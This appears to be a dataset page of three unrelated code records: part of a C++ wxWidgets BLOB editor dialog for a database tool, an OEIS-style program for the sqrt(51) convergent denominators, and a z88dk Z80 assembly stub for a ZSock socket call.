bool canCancel();
void cancel();
void initProgress(const wxString& progressTitle, int range, bool canCancel);
bool isActive();
bool isCanceled();
void stepProgress(int stepAmount);
private:
bool activeM;
bool canceledM;
bool canCancelM;
int posM;
int rangeM;
wxButton* buttonCancelM;
wxWindow* parentM;
wxGauge* progressGaugeM;
wxStaticText* progressTextM;
};
EditBlobDialogProgressSizer::EditBlobDialogProgressSizer(wxWindow* parent)
: wxBoxSizer(wxHORIZONTAL), parentM(parent)
{
activeM = false;
rangeM = 0;
posM = 0;
canCancelM = false;
progressTextM = new wxStaticText(parent, wxID_ANY, "");
buttonCancelM = new wxButton(parent, Cmds::BlobEditor_ProgressCancel, _("&Cancel"));
int gaugeHeight = wxSystemSettings::GetMetric(wxSYS_HSCROLL_Y);
progressGaugeM = new wxGauge(parent, wxID_ANY, 0, wxDefaultPosition,
wxSize(10, gaugeHeight), wxGA_HORIZONTAL | wxGA_SMOOTH);
Add(progressTextM, 0, wxALIGN_CENTER_VERTICAL);
AddSpacer(styleguide().getFrameMargin(wxLEFT));
Add(progressGaugeM, 1, wxALIGN_CENTER_VERTICAL);
AddSpacer(styleguide().getFrameMargin(wxRIGHT));
Add(buttonCancelM, 0, wxALIGN_CENTER_VERTICAL);
//Layout();
Hide();
};
bool EditBlobDialogProgressSizer::canCancel()
{
return canCancelM;
}
void EditBlobDialogProgressSizer::cancel()
{
if (canCancelM)
canceledM = true;
}
void EditBlobDialogProgressSizer::Hide()
{
progressTextM->Hide();
buttonCancelM->Hide();
progressGaugeM->Hide();
activeM = false;
}
void EditBlobDialogProgressSizer::initProgress(const wxString& progressTitle,
int range, bool canCancel)
{
posM = 0;
rangeM = range;
canceledM = false;
canCancelM = canCancel;
activeM = true;
progressTextM->SetLabel(progressTitle);
progressGaugeM->SetRange(rangeM);
progressGaugeM->SetValue(posM);
progressTextM->Show();
buttonCancelM->Show(canCancelM);
progressGaugeM->Show();
//parentM->Layout();
Layout();
}
bool EditBlobDialogProgressSizer::isActive()
{
return activeM;
}
bool EditBlobDialogProgressSizer::isCanceled()
{
return canceledM;
}
void EditBlobDialogProgressSizer::stepProgress(int stepAmount)
{
posM += stepAmount;
progressGaugeM->SetValue(posM);
wxYieldIfNeeded();
}
// Main (dialog) class for blob editor
EditBlobDialog::EditBlobDialog(wxWindow* parent, wxMBConv* converterM)
:BaseDialog(parent, -1, wxEmptyString)
{
runningM = false; // disable wxNotebookPageChanged-Events
dataModifiedM = false;
editorModeM = noData;
cacheM = 0;
cacheIsNullM = false;
dialogCaptionM = "";
dataGridTableM = 0;
dataGridM = 0;
fieldNameM = "";
rowM = 0;
colM = 0;
blobM = 0;
loadingM = false;
statementM = 0;
readonlyM = false;
this->converterM = converterM;
notebook = new wxNotebook(getControlsPanel(), wxID_ANY);
blob_noData = new wxPanel(notebook, wxID_ANY);
blob_noDataText = new wxStaticText(blob_noData, wxID_ANY, "");
blob_text = new EditBlobDialogSTCText(notebook, wxID_ANY);
blob_binary = new EditBlobDialogSTC(notebook, wxID_ANY);
progress = new EditBlobDialogProgressSizer(getControlsPanel());
// dialog "menu" buttons
button_menu_blob = new wxButton(getControlsPanel(),
Cmds::BlobEditor_Menu_BLOB, _("&BLOB"));
// dialog buttons
button_reset = new wxButton(getControlsPanel(), wxID_RESET, _("&Reset"));
button_save = new wxButton(getControlsPanel(), wxID_SAVE, _("&Save"));
CommandManager cm;
buildMenus(cm);
set_properties();
do_layout();
runningM = true; // enable wxNotebookPageChanged-Events
}
EditBlobDialog::~EditBlobDialog()
{
/*
// activate later if plugin will be implemented
m_libEditBlobUseCount--;
if (m_libEditBlobUseCount = 0)
{
// TODO unload lib
if (m_libEditBlob)
delete m_libEditBlob;
}
*/
delete menu_blob;
cacheDelete();
}
void EditBlobDialog::buildMenus(CommandManager& cm)
{
menu_blob = new wxMenu(); // dynamic menus, created at runtime
menu_blob->Append(Cmds::BlobEditor_Menu_BLOBLoadFromFile,
cm.getMainMenuItemText(_("&Load from File..."), Cmds::BlobEditor_Menu_BLOBLoadFromFile));
menu_blob->Append(Cmds::BlobEditor_Menu_BLOBSaveToFile,
cm.getMainMenuItemText(_("&Save to File"), Cmds::BlobEditor_Menu_BLOBSaveToFile));
}
void EditBlobDialog::cacheDelete()
{
dataValidM.clear();
if (!cacheM)
return;
delete cacheM;
cacheM = 0;
}
void EditBlobDialog::notebookAddPageById(int pageId)
{
// if page is already added -> do nothing
int i = notebookGetPageIndexById(pageId);
if (i > -1)
return;
// add page to notebook
switch (pageId)
{
case noData :
blob_noData->Show();
notebook->AddPage(blob_noData, _("No data"), false);
break;
case binary :
blob_binary->Show();
notebook->AddPage(blob_binary, _("Binary"), false);
break;
case text :
blob_text->Show();
notebook->AddPage(blob_text, _("Text"), false);
break;
}
}
int EditBlobDialog::notebookGetPageIndexById(int pageId)
{
for (unsigned int i = 0; i < notebook->GetPageCount(); i++)
if (notebook->GetPage(i)->GetId() == pageId)
return i;
return -1;
}
void EditBlobDialog::notebookRemovePageById(int pageId)
{
int i = notebookGetPageIndexById(pageId);
if (i > -1)
{
// Hide the page that will be removed
// That is needed otherwise the removed
// page is still visible on the wxNotebook.
switch (pageId)
{
case noData :
blob_noData->Hide();
break;
case binary :
blob_binary->Hide();
break;
case text :
blob_text->Hide();
break;
}
notebook->RemovePage(i);
}
}
void EditBlobDialog::notebookSelectPageById(int pageId)
{
int i = notebookGetPageIndexById(pageId);
if (i > -1)
notebook->ChangeSelection(i);
}
void EditBlobDialog::closeDontSave()
{
// We dont want to save the blob data back to DB.
dataModifiedM = false;
Close();
}
bool EditBlobDialog::setBlob(DataGrid* dg, DataGridTable* dgt,
IBPP::Statement* st, unsigned row, unsigned col, bool saveOldValue)
{
// cancel load progress or wait for save progress
progressCancel();
// Save last blob value if modified
if (saveOldValue)
saveBlob();
dataGridTableM = dgt;
dataGridM = dg;
statementM = st;
rowM = row;
colM = col;
readonlyM = dataGridTableM->isReadonlyColumn(colM);
// generator blob fieldname
wxString tableName = dgt->getTableName();
wxString fieldName = dg->GetColLabelValue(dg->GetGridCursorCol());
fieldNameM = tableName + "." + fieldName;
dialogCaptionM = wxString::Format(_("Edit BLOB: %s #%i"), fieldNameM.c_str(), rowM+1);
SetTitle(dialogCaptionM);
return loadBlob();
}
bool EditBlobDialog::loadBlob()
{
bool isTextual;
bool isBlob = dataGridTableM->isBlobColumn(colM, &isTextual);
// disable wxNotebookPageChanged-Events
runningM = false;
bool res = false;
// we load data from blob now, so we dont need the cache ATM
// if the user changes data and switches the notebook-page
// the cach will be created again
cacheDelete();
dataUpdateGUI();
if (isBlob)
{
// Loading BLOB into Editor
IBPP::Blob* tmpBlob = dataGridTableM->getBlob(rowM, colM, false);
if (tmpBlob != 0)
blobM = *tmpBlob;
else
blobM = 0;
FRInputBlobStream inpblob(blobM);
if (!isTextual)
{
res = loadFromStreamAsBinary(inpblob, blobM == 0, _("Loading BLOB into editor."));
editorModeM = binary;
}
else
{
res = loadFromStreamAsText(inpblob, blobM == 0, _("Loading BLOB into editor."));
editorModeM = text;
}
dataValidM.insert(editorModeM);
}
if ((isBlob) && (res))
{
notebookAddPageById(binary);
notebookAddPageById(text);
notebookRemovePageById(noData);
notebookSelectPageById(editorModeM);
dataSetModified(false, editorModeM);
button_reset->SetLabel(_("&Reset"));
button_reset->Disable();
}
else
{
blobM = 0;
notebookAddPageById(noData);
notebookRemovePageById(binary);
notebookRemovePageById(text);
notebookSelectPageById(noData);
wxString noDataInfo;
if (isBlob)
noDataInfo = _("The loading operation was canceled.");
else
noDataInfo = _("No BLOB.");
blob_noDataText->SetLabel(noDataInfo);
// needed to center blob_noDataText
blob_noData->GetSizer()->Layout();
editorModeM = noData;
dataSetModified(false, editorModeM);
if (isBlob)
{
button_reset->SetLabel(_("&Load"));
button_reset->Enable();
}
else
{
button_reset->SetLabel(_("&Reset"));
button_reset->Disable();
}
res = true;
}
// enable wxNotebookPageChanged-Events
runningM = true;
return res;
}
bool EditBlobDialog::loadFromStreamAsText(wxInputStream& stream, bool isNull, const wxString& progressTitle)
{
if (isNull)
{
loadingM = true;
blob_text->SetReadOnly(false);
blob_text->setIsNull(true);
blob_text->SetReadOnly(readonlyM);
loadingM = false;
dataSetModified(false, text);
return true;
}
int toread = stream.GetSize();
progressBegin(progressTitle, toread, true);
// disable OnDataModified event
loadingM = true;
// set the wxStyledTextControl to ReadOnly = false to modify the text
blob_text->SetReadOnly(false);
blob_text->ClearAll();
// allocate a buffer of the full size that is needed
// for the text. So we have no troubles with splittet
// multibyte-chars./amaier
char* buffer = (char*)malloc(toread+1);
if (buffer == NULL)
{
showErrorDialog(this, _("ERROR"), _("Not enough Memory!"),
AdvancedMessageDialogButtonsOk());
return false;
}
char* bufptr = buffer;
int readed = 0;
// Load text in 32k-Blocks.
// So we can give the user the ability to cancel.
while ((!progress->isCanceled()) && (readed < toread))
{
int nextread = std::min(32767, toread - readed);
stream.Read((void*)bufptr, nextread);
int lastread = stream.LastRead();
if (lastread < 1)
break;
bufptr += lastread;
readed += lastread;
progress->stepProgress(lastread);
}
buffer[readed] = '\0';
if (!progress->isCanceled())
{
blob_text->SetText(std2wxIdentifier(buffer, converterM));
}
free(buffer);
progressEnd();
blob_textSetReadonly(readonlyM);
// enable OnDataModified event
loadingM = false;
dataSetModified(false, text);
return !progress->isCanceled();
}
bool EditBlobDialog::loadFromStreamAsBinary(wxInputStream& stream, bool isNull, const wxString& progressTitle)
{
if (isNull)
{
loadingM = true;
blob_binary->SetReadOnly(false);
blob_binary->setIsNull(true);
blob_binary->SetReadOnly(true);
loadingM = false;
dataSetModified(false, binary);
return true;
}
progressBegin(progressTitle, stream.GetSize(), true);
// disable OnDataModified event
loadingM = true;
blob_binary->Freeze();
// set the wxStyledTextControl to ReadOnly = false to modify the text
blob_binary->SetReadOnly(false);
blob_binary->ClearAll();
int col = 0;
int line = 0;
wxString txtLine;
while (!progress->isCanceled())
{
char buffer[32768];
stream.Read((void*)buffer, 32767);
int size = stream.LastRead();
if (size < 1)
break;
buffer[size] = '\0';
int bufpos = 0;
while (bufpos < size)
{
txtLine += wxString::Format( "%02X", (unsigned char)(buffer[bufpos]) );
bufpos++;
col++;
if ((col % 8) == 0)
txtLine += " ";
if (col >= 32)
{
blob_binary->AddText(txtLine + "\n");
txtLine = "";
col = 0;
line++;
}
}
progress->stepProgress(size);
}
// add the last line if col > 0
if (!progress->isCanceled())
{
if (col > 0)
blob_binary->AddText(txtLine);
}
// Prepare text styling data
const int Columns = 4;
const int BytesPerColumn = 8;
const int CharsPerColumn = 2 * BytesPerColumn;
// a space after each column, and one additional byte for the end-of-line
const int CharsPerLine = Columns * (CharsPerColumn + 1) + 1;
std::vector<char> styleBytes(CharsPerLine, '\0');
for (int col1 = 0; col1 < Columns; ++col1)
{
int colStart = col1 * (CharsPerColumn + 1);
for (int charInCol = 1; charInCol < BytesPerColumn; charInCol += 2)
{
// the two chars of every odd byte have different color
styleBytes[colStart + 2 * charInCol] = '\1';
styleBytes[colStart + 2 * charInCol + 1] = '\1';
}
}
// Set text styling
blob_binary->StartStyling(0, 0);
for (int i = 0; i < blob_binary->GetLineCount(); i++)
blob_binary->SetStyleBytes(CharsPerLine, &styleBytes[0]);
progressEnd();
blob_binary->SetReadOnly(true);
blob_binary->Thaw();
// enable OnDataModified event
loadingM = false;
dataSetModified(false, binary);
return !progress->isCanceled();
}
bool EditBlobDialog::saveToStream(wxOutputStream& stream, bool* isNull, const wxString& progressTitle)
{
progressBegin(progressTitle, 0, false);
switch (editorModeM)
{
case binary :
{
*isNull = blob_binary->getIsNull();
if (*isNull)
break;
const int maxBufSize = 32768;
char buffer[maxBufSize];
int bufSize = 0;
wxString txt = blob_binary->GetText();
wxString::const_iterator txtIt;
txtIt = txt.begin();
while ((txtIt != txt.end()) && (!progress->isCanceled()))
{
wxChar ch1 = *txtIt;
txtIt++;
// skip spaces and cr
if ((ch1 == ' ') || (ch1 == 0x0A) || (ch1 == 0x0D))
continue;
// that should never happen
// but it would be possible if binary data is corrupted
if (txtIt == txt.end())
throw FRError(_("Internal error. (Binary data seems corrupted.)"));
wxChar ch2 = *txtIt;
txtIt++;
int dig1 = 0;
int dig2 = 0;
if (isdigit(ch1))
dig1 = ch1 - '0';
else if ((ch1 >= 'A') && (ch1 <= 'F'))
dig1 = ch1 - 'A' + 10;
else if ((ch1 >= 'a') && (ch1 <= 'f'))
dig1 = ch1 - 'a' + 10;
else
throw FRError(wxString::Format(_("Wrong HEX-value: %s"), ch1));
if (isdigit(ch2))
dig2 = ch2 - '0';
else if ((ch2 >= 'A') && (ch2 <= 'F'))
dig2 = ch2 - 'A' + 10;
else if ((ch2 >= 'a') && (ch2 <= 'f'))
dig2 = ch2 - 'a' + 10;
else
throw FRError(wxString::Format(_("Wrong HEX-value: %s"), ch1));
buffer[bufSize] = dig1 * 16 + dig2;
if (bufSize >= maxBufSize-1)
{
stream.Write(buffer, bufSize);
progress->stepProgress(bufSize);
bufSize = 0;
}
else bufSize++;
};
if (bufSize > 0)
{
stream.Write(buffer, bufSize);
progress->stepProgress(bufSize);
}
}
break;
case text :
{
*isNull = blob_text->getIsNull();
if (*isNull)
break;
std::string txt = wx2std(blob_text->GetText(), converterM);
stream.Write(txt.c_str(), txt.length());
}
break;
default :
throw FRError(_("Unknown editormode!"));
}
progressEnd();
return !progress->isCanceled();
}
void EditBlobDialog::set_properties()
{
dialogCaptionM = "";
SetTitle(dialogCaptionM);
int style = GetWindowStyle();
SetWindowStyle(style | wxMINIMIZE_BOX | wxMAXIMIZE_BOX | wxSYSTEM_MENU
| wxSTAY_ON_TOP);
blob_noData->SetId(noData);
blob_text->SetId(text);
blob_text->SetModEventMask(wxSTC_MODEVENTMASKALL);
blob_binary->SetId(binary);
blob_binary->SetModEventMask(wxSTC_MODEVENTMASKALL);
button_reset->Enable(false);
button_save->Enable(false);
}
void EditBlobDialog::do_layout()
{
// Maybe we can find a better solution to get the margin font
// I assume here it is the default font./amaier
int marginCharWidth = blob_binary->TextWidth(0, "9");
// *** TEXT-EDIT-LAYOUT ***
blob_text->SetSizeHints(200, 100);
blob_text->SetSize(200, 100);
// fixed-width font (i think it is better for showing)
wxFont fTxt(frlayoutconfig().getEditorFontSize(),
wxFONTFAMILY_MODERN, wxFONTSTYLE_NORMAL, wxFONTWEIGHT_NORMAL,
false);
blob_text->StyleSetFont(0, fTxt);
// numbering on text should be usefull
blob_text->SetMarginType(0, wxSTC_MARGIN_NUMBER);
blob_text->SetMarginWidth(0, marginCharWidth * 5);
blob_text->SetMarginWidth(1, 0);
blob_text->SetMarginWidth(2, 0);
// *** BINARY-SHOW-LAYOUT ***
// fixed-width font
wxFont fBin(frlayoutconfig().getEditorFontSize(),
wxFONTFAMILY_MODERN, wxFONTSTYLE_NORMAL, wxFONTWEIGHT_NORMAL,
false);
blob_binary->StyleSetFont(0, fBin);
blob_binary->StyleSetBackground(0, frlayoutconfig().getReadonlyColour());
blob_binary->StyleSetFont(1, fBin);
blob_binary->StyleSetBackground(1, frlayoutconfig().getReadonlyColour());
blob_binary->StyleSetForeground(1, "MEDIUM BLUE");
blob_binary->StyleSetBackground(10, frlayoutconfig().getReadonlyColour());
// set with of the viewport to avoid "empty" space after each line
blob_binary->SetScrollWidth(600);
// set up a left-margin for numbering lines
// TODO - calc with of dialog to fit excact a binary line without scrolling"
blob_binary->SetMarginType(0, wxSTC_MARGIN_NUMBER);
blob_binary->SetMarginWidth(0, marginCharWidth * 5);
blob_binary->SetMarginWidth(1, 0);
blob_binary->SetMarginWidth(2, 0);
// Background-color for araes with no text
blob_binary->SetSizeHints(200, 100);
blob_binary->SetSize(200, 100);
blob_binary->StyleSetBackground(wxSTC_STYLE_DEFAULT, frlayoutconfig().getReadonlyColour());
blob_binary->SetReadOnly(true);
// center no-data-label on no-data-panel horizontal and vertical
wxBoxSizer* blob_noDataSizerH = new wxBoxSizer(wxHORIZONTAL);
wxBoxSizer* blob_noDataSizerV = new wxBoxSizer(wxVERTICAL);
blob_noDataSizerV->Add(blob_noDataText, 0, wxALIGN_CENTER_HORIZONTAL, 0);
blob_noDataSizerH->Add(blob_noDataSizerV, 1, wxALIGN_CENTER_VERTICAL, 0);
blob_noData->SetSizer(blob_noDataSizerH);
notebookAddPageById(noData);
notebookAddPageById(binary);
notebookAddPageById(text);
wxBoxSizer* sizerTop = new wxBoxSizer(wxHORIZONTAL);
sizerTop->Add(button_menu_blob, 0, wxALIGN_LEFT);
sizerTop->AddSpacer(styleguide().getUnrelatedControlMargin(wxVERTICAL));
sizerTop->Add(progress, 1, wxEXPAND);
wxBoxSizer* sizerControls = new wxBoxSizer(wxVERTICAL);
//sizerControls->Add(button_menu_blob, 0, wxALIGN_LEFT);
sizerControls->Add(sizerTop, 0, wxEXPAND);
sizerControls->AddSpacer(styleguide().getFrameMargin(wxLEFT));
sizerControls->Add(notebook, 1, wxEXPAND);
//sizerControls->AddSpacer(styleguide().getFrameMargin(wxLEFT));
//sizerControls->Add(progress, 0, wxEXPAND);
wxSizer* sizerButtons = styleguide().createButtonSizer(button_reset, button_save);
layoutSizers(sizerControls, sizerButtons, true);
SetSize(620, 400);
Centre();
progress->Layout();
}
void EditBlobDialog::saveBlob()
{
// If there is no blob loaded (no Data) OR
// data wasn't modified and cache isn't initialized (cacheM = 0)
// then data was not changed.
if ((editorModeM == noData) || ((!dataModifiedM) && (!cacheM)))
return;
// Save Editor-Data into BLOB
DataGridRowsBlob b = dataGridTableM->setBlobPrepare(rowM, colM);
// if nothing was modified and the cache is created we can
// directly write the cache to the blob. This saves time.
char buffer[32768];
bool ok = false;
wxString progressTitle = _("Saving editor-data.");
if ((!dataModifiedM) && (cacheM))
{
progressBegin(progressTitle, 0, false);
if (cacheIsNullM)
{
b.blob = 0;
}
else
{
wxMemoryInputStream inBuf(*cacheM);
inBuf.Read((void*)buffer, 32767);
int bufLen = inBuf.LastRead();
b.blob->Create();
while ((bufLen > 0) && (!progress->isCanceled()))
{
b.blob->Write(buffer, bufLen);
inBuf.Read((void*)buffer, 32767);
bufLen = inBuf.LastRead();
}
b.blob->Close();
}
ok = !progress->isCanceled();
progressEnd();
}
else
{
bool isNull;
FROutputBlobStream bs(b.blob);
ok = saveToStream(bs, &isNull, progressTitle);
bs.Close();
if (isNull)
b.blob = 0;
}
if (!ok)
return;
if (b.blob == 0)
dataGridTableM->setValueToNull(b.row, b.col);
else
{
dataGridTableM->setBlob(b);
}
blobM = b.blob;
// update datagrid to force an update (in GUI) of the changed blob-value
// NOTE: There are two reasons to call it
// 1) The data grid has to be updated to show the new blob value
// 2) There will be a error if user changes to another blob and
// then again to the same. If the blob is selected again the
// cell will be updated and opens the blob. This will happen
// while the cancel-dialog in loadBlob is shown. (wxYieldIfNeeded)
// At this moment the blob is already opend by loadBlob and
// the IBPP::LocicalException - blob already open will occur.
// amaier/2009-07-19
dataGridM->refreshAndInvalidateAttributes();
cacheDelete();
dataSetModified(false, editorModeM);
dataUpdateGUI();
}
void EditBlobDialog::OnClose(wxCloseEvent& event)
{
// Save implicit if data was modified
saveBlob();
// destroy the window
if (event.CanVeto())
{
event.Veto();
this->Hide();
}
else
this->Destroy();
}
void EditBlobDialog::OnResetButtonClick(wxCommandEvent& WXUNUSED(event))
{
loadBlob();
}
void EditBlobDialog::OnSaveButtonClick(wxCommandEvent& WXUNUSED(event))
{
saveBlob();
}
void EditBlobDialog::OnNotebookPageChanged(wxNotebookEvent& event)
{
if (!runningM)
return;
int page = event.GetSelection();
int oldPage = event.GetOldSelection();
if ((page < 0) || (oldPage < 0))
return;
int pageId = notebook->GetPage(page)->GetId();
if (pageId == noData)
return;
// Save data to cache
// We only store the data if it was changed by the user
if (dataModifiedM)
{
// Maybe we have to initialize the cache (cacheM)
if (cacheM)
delete cacheM;
cacheM = new wxMemoryOutputStream(0, 0);
if (!saveToStream(*cacheM, &cacheIsNullM, _("Switching editor-mode. (Saving)")))
{
showErrorDialog(this, _("ERROR"),
_("An error occurred while switching editor-mode. (Saving)"),
AdvancedMessageDialogButtonsOk());
notebook->ChangeSelection(oldPage);
return;
}
}
EditorMode newEditorMode = (EditorMode)pageId;
// Load data from cache or blob - only if the data is not already loaded (valid)
if ((dataModifiedM) || dataValidM.find(newEditorMode) == dataValidM.end())
{
bool loadOk = false;
bool isNull;
wxString loadTitle = _("Switching editor-mode. (Loading)");
wxInputStream* inBuf;
if (cacheM)
{
inBuf = new wxMemoryInputStream(*cacheM);
isNull = cacheIsNullM;
}
else
{
inBuf = new FRInputBlobStream(blobM);
isNull = (blobM == 0);
}
switch (pageId)
{
case binary :
loadOk = loadFromStreamAsBinary(*inBuf, isNull, loadTitle);
break;
case text :
loadOk = loadFromStreamAsText(*inBuf, isNull, loadTitle);
break;
}
delete inBuf;
if (!loadOk)
{
showErrorDialog(this, _("ERROR"),
_("An error occurred while switching editor-mode. (Loading)"),
AdvancedMessageDialogButtonsOk());
notebook->ChangeSelection(oldPage);
//event.Veto();
return;
}
dataValidM.insert(newEditorMode);
}
editorModeM = newEditorMode;
}
void EditBlobDialog::OnProgressCancel(wxCommandEvent& WXUNUSED(event))
{
progress->cancel();
}
void EditBlobDialog::OnDataModified(wxStyledTextEvent& WXUNUSED(event))
{
if (loadingM)
return;
dataSetModified(true, editorModeM);
}
void EditBlobDialog::OnMenuBLOBButtonClick(wxCommandEvent& WXUNUSED(event))
{
int h = button_menu_blob->GetSize().GetHeight();
button_menu_blob->PopupMenu(menu_blob, 0, h);
}
void EditBlobDialog::OnMenuBLOBLoadFromFile(wxCommandEvent& WXUNUSED(event))
{
if (editorModeM == noData)
throw FRError(_("Not a BLOB column"));
wxString filename = ::wxFileSelector(_("Select a file"), "",
"", "", "*",
wxFD_OPEN | wxFD_FILE_MUST_EXIST, this);
if (filename.IsEmpty())
return;
cacheDelete();
bool res;
wxFileInputStream fs(filename);
if (editorModeM == binary)
res = loadFromStreamAsBinary(fs, false, _("Loading BLOB into editor."));
else
res = loadFromStreamAsText(fs, false, _("Loading BLOB into editor."));
if (res)
dataSetModified(true, editorModeM);
}
void EditBlobDialog::OnMenuBLOBSaveToFile(wxCommandEvent& WXUNUSED(event))
{
//DataGridTable* dgt = grid_data->getDataGridTable();
//if (!dgt || !grid_data->GetNumberRows())
// return;
//if (!dgt->isBlobColumn(grid_data->GetGridCursorCol()))
// throw FRError(_("Not a BLOB column"));
if (editorModeM == noData)
throw FRError(_("Not a BLOB column"));
wxString filename = ::wxFileSelector(_("Select a file"), "",
"", "", "*",
wxFD_SAVE | wxFD_OVERWRITE_PROMPT, this);
if (filename.IsEmpty())
return;
//ProgressDialog pd(this, _("Saving BLOB to file"));
//pd.Show();
//dgt->exportBlobFile(filename, grid_data->GetGridCursorRow(),
// grid_data->GetGridCursorCol(), &pd);
wxFileOutputStream fs(filename);
bool dummy;
saveToStream(fs, &dummy, _("Importing BLOB from file"));
}
void EditBlobDialog::dataUpdateGUI()
{
wxString status;
bool canSave;
if ((dataModifiedM) || (cacheM))
{
status = "*";
canSave = true;
}
else
{
status = "";
canSave = false;
}
SetTitle(dialogCaptionM+status);
button_reset->Enable(canSave);
button_save->Enable(canSave);
}
void EditBlobDialog::dataSetModified(bool value, EditorMode editorMode)
{
if (dataModifiedM == value)
return;
dataModifiedM = value;
// if the data is modified all other allready loaded data
// (binary,text,http,image,...) gets invalid
dataValidM.clear();
dataValidM.insert(editorMode);
dataUpdateGUI();
}
void EditBlobDialog::blob_textSetReadonly(bool readonly)
{
if (readonly)
{
blob_text->StyleSetBackground(0, frlayoutconfig().getReadonlyColour());
blob_text->StyleSetBackground(wxSTC_STYLE_DEFAULT, frlayoutconfig().getReadonlyColour());
}
else
{
blob_text->StyleSetBackground(0, "WHITE");
blob_text->StyleResetDefault();
}
blob_text->SetReadOnly(readonly);
}
void EditBlobDialog::progressBegin(const wxString& progressTitle, int maxPosition, bool canCancel)
{
button_menu_blob->Enable(false);
notebook->Enable(false);
progressCancel();
progress->initProgress(progressTitle, maxPosition, canCancel);
progress->Show(true);
Update();
}
void EditBlobDialog::progressCancel()
{
// cancel load progress or
if (progress->canCancel())
{
while (!progress->isCanceled())
progress->cancel();
}
// wait for save progress
else
{
while (progress->isActive())
wxSleep(500);
}
}
void EditBlobDialog::progressEnd()
{
progress->Hide();
button_menu_blob->Enable(true);
notebook->Enable(true);
}
//! event handling
BEGIN_EVENT_TABLE(EditBlobDialog, BaseDialog)
EVT_MENU(wxID_RESET, EditBlobDialog::OnResetButtonClick)
EVT_BUTTON(wxID_RESET, EditBlobDialog::OnResetButtonClick)
EVT_BUTTON(wxID_SAVE, EditBlobDialog::OnSaveButtonClick)
EVT_CLOSE(EditBlobDialog::OnClose)
EVT_NOTEBOOK_PAGE_CHANGED(wxID_ANY, EditBlobDialog::OnNotebookPageChanged)
EVT_STC_MODIFIED(wxID_ANY, EditBlobDialog::OnDataModified)
// Menu events
EVT_BUTTON(Cmds::BlobEditor_Menu_BLOB, EditBlobDialog::OnMenuBLOBButtonClick)
EVT_MENU(Cmds::BlobEditor_Menu_BLOBLoadFromFile, EditBlobDialog::OnMenuBLOBLoadFromFile)
EVT_MENU(Cmds::BlobEditor_Menu_BLOBSaveToFile, EditBlobDialog::OnMenuBLOBSaveToFile)
// Progress
EVT_BUTTON(Cmds::BlobEditor_ProgressCancel, EditBlobDialog::OnProgressCancel)
END_EVENT_TABLE()
// Helper-Class for streaming into blob / buffer
// frInputBlobStream
FRInputBlobStream::FRInputBlobStream(IBPP::Blob blob)
:wxInputStream()
{
blobM = blob;
if (blobM != 0)
{
blobM->Close();
blobM->Open();
blobM->Info(&sizeM, 0, 0);
}
else
sizeM = 0;
}
FRInputBlobStream::~FRInputBlobStream()
{
if (blobM != 0)
blobM->Close();
}
size_t FRInputBlobStream::OnSysRead(void* buffer, size_t size)
{
if ((blobM != 0) && (sizeM > 0))
return blobM->Read(buffer, size);
else
return 0;
}
size_t FRInputBlobStream::GetSize() const
{
return sizeM;
}
// Helper-Class for streaming into blob / buffer
// frOutputBlobStream
FROutputBlobStream::FROutputBlobStream(IBPP::Blob blob)
:wxOutputStream()
{
blobM = blob;
blobM->Create();
}
FROutputBlobStream::~FROutputBlobStream()
{
Close();
}
size_t FROutputBlobStream::OnSysWrite(const void* buffer, size_t bufsize)
{
if (bufsize == 0)
return 0;
blobM->Write(buffer, bufsize);
return bufsize;
}
bool FROutputBlobStream::Close()
{
if (blobM != 0)
blobM->Close();
return true;
}
|
; A041087: Denominators of continued fraction convergents to sqrt(51).
; Submitted by Jamie Morken(s2)
; 1,7,99,700,9899,69993,989801,6998600,98970201,699790007,9896030299,69972002100,989504059699,6996500419993,98940509939601,699580069997200,9893061489900401,69951010499300007,989207208480100499,6994401469860003500,98910827786520149499,699370195975501049993,9890093571443534849401,69930025196080244995800,988910446316566964790601,6992303149412048998530007,98881154538085252944210699,699160384916008819608004900,9887126543362208727456279299,69909046188451469911801959993,988613773181682787492683719201
add $0,1
mov $3,1
lpb $0
sub $0,1
add $2,$3
mov $3,$1
mov $1,$2
dif $2,2
mul $2,14
lpe
mov $0,$2
div $0,14
|
;
; This file is automatically generated
;
; Do not edit!!!
;
; djm 12/2/2000
;
; ZSock Lib function: sock_opened
SECTION code_clib
PUBLIC sock_opened
PUBLIC _sock_opened
EXTERN no_zsock
INCLUDE "packages.def"
INCLUDE "zsock.def"
.sock_opened
._sock_opened
ld a,r_sock_opened
call_pkg(tcp_all)
ret nc
; We failed..are we installed?
cp rc_pnf
scf ;signal error
ret nz ;Internal error
call_pkg(tcp_ayt)
jr nc,sock_opened
jp no_zsock
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.